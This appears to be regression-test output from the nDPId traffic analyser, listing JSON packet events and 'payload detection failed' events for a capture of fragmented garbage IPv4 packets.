+00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4917,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258713,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4917,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4918,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258721,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4918,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4919,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258728,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4919,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4920,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258735,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4920,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4921,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258744,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4921,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4922,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258751,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4922,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4923,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258758,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4923,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4924,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258767,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4924,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4925,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258774,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4925,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4926,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258786,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4926,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4927,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258797,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4927,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4928,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258805,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4928,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4929,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258812,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4929,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4930,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258819,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4930,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4931,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258826,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4931,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4932,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258834,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4932,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4933,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258842,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4933,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4934,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258848,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4934,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4935,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258856,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4935,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4936,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258863,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4936,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4937,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258871,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4937,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4938,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258878,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4938,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4939,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258886,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4939,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4940,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258893,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4940,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4941,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258905,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4941,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4942,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258915,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4942,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4943,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258922,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4943,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4944,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258929,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4944,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4945,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258937,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4945,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4946,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258944,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4946,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4947,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258953,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4947,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4948,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258961,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4948,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4949,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258972,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4949,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4950,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258982,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4950,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4951,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258989,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4951,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4952,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":258999,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4952,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4953,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259007,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4953,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4954,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259014,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4954,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4955,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259022,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4955,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4956,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259030,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4956,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4957,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259041,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4957,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4958,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":259048,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4958,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 